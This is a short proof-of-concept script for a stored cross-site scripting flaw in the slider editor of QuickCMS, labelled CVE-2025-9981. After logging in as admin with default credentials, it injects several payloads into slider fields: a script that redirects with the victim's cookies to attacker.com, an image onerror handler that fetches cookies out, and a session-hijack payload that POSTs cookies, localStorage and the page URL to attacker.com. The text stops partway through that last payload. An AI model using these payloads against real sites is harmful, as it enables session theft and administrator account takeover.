// CVE-2025-9981 PoC - Stored XSS in QuickCMS Slider Editor
// Target: QuickCMS <= 6.8 sliders-form endpoint

// Step 1: Authenticate as admin
const loginEndpoint = 'http://target.com/admin/login.php';
const credentials = {
    username: 'admin',
    password: 'admin123'
};

// Step 2: Inject XSS payload via slider editor
const xssPayload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>';
const sliderFormEndpoint = 'http://target.com/admin/sliders-form.php';
const maliciousSlider = {
    name: 'Malicious Slider',
    description: xssPayload,  // XSS payload injection point
    content: '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">'
};

// Step 3: Submit the malicious slider
// POST request to sliders-form.php with crafted parameters
// Payload will be stored and executed on all pages displaying the slider

// Alternative payload for stealing admin session:
const sessionHijackPayload = `
<img src=x onerror="
    fetch('https://attacker.com/api/log', {
        method: 'POST',
        body: JSON.stringify({
            cookies: document.cookie,
            localStorage: localStorage,
            url: window.location.href
        })
    })
